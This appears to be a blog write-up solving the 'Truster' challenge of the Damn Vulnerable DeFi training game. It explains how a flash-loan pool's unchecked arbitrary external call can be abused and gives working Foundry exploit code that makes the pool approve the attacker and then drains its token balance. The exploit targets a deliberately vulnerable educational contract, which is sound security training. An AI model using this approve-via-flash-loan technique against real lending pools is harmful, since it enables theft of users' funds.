Damn Vulnerable DeFi Challenge #3 Solution — Truster

Challenge #3 — Truster

The attacker end goal

Our end goal here is to attack the pool to drain all the 1 million DTV tokens available in the balance.

Study the contracts

TrusterLenderPool

  • borrowAmount: the number of tokens to send to the borrower address
  • borrower: the address that is borrowing the tokens and that will receive the amount of token borrowed
  • target: the address of the contract on which the OpenZeppelin Address.functionCall will be executed on
  • data: the byte payload that will be used to Address.functionCall
  • The function has nonReentrant function modifier, so we can assume that is not prone to reentrancy attacks
  • it’s not checking the borrower or target address
  • It’s not checking that the borrowAmount is 0
  • Is checking that the balance of the pool has at least borrowAmount tokens
  • Transfer the borrowAmount to the borrower address
  • Execute a functionCall with data as parameter on the target address
  • And at the end, verify that the final balance of the contract is greater than the starting balance
  • steal funds using reentrancy
  • steal funds directly because it will check at the end if we have sent back all the funds
  • it’s not checking that the borrowAmount is zero
  • it’s not checking the borrower or target address
  • and it’s executing an external call to the target address passing an arbitrary data payload to it
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);

Solution code

What function should we make the TrusterLenderPool execute that will allow us to steal all the funds?

  • spender = attacker address
  • amount = the balance of the lending pool
  • Call the flashLoan function asking to borrow 0 token, so we will not need to pay back anything. This is important because the attacker does not own any DVT token.
  • Call the flashLoan with target as the DVT token address to execute the call method on the Token contract itself
  • Construct the data payload to make the TrusterLenderPool to call the DVT approve method bytes memory data = abi.encodeWithSignature(“approve(address,uint256)”, attacker, poolBalance);
function exploit() internal override {
/** CODE YOUR EXPLOIT HERE */
uint256 poolBalance = token.balanceOf(address(pool));// Act as the attacker
vm.prank(attacker);
// make the pool approve the attacker to manage the whole pool balance while taking a free loan
bytes memory attackCallData = abi.encodeWithSignature("approve(address,uint256)", attacker, poolBalance);
pool.flashLoan(0, attacker, address(token), attackCallData);
// now steal all the funds
vm.prank(attacker);
token.transferFrom(address(pool), attacker, poolBalance);
}

Disclaimer

All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
StErMi

StErMi

#web3 dev + auditor | @SpearbitDAO security researcher, @yAcademyDAO resident auditor, @developer_dao #459, @TheSecureum bootcamp-0, @code4rena warden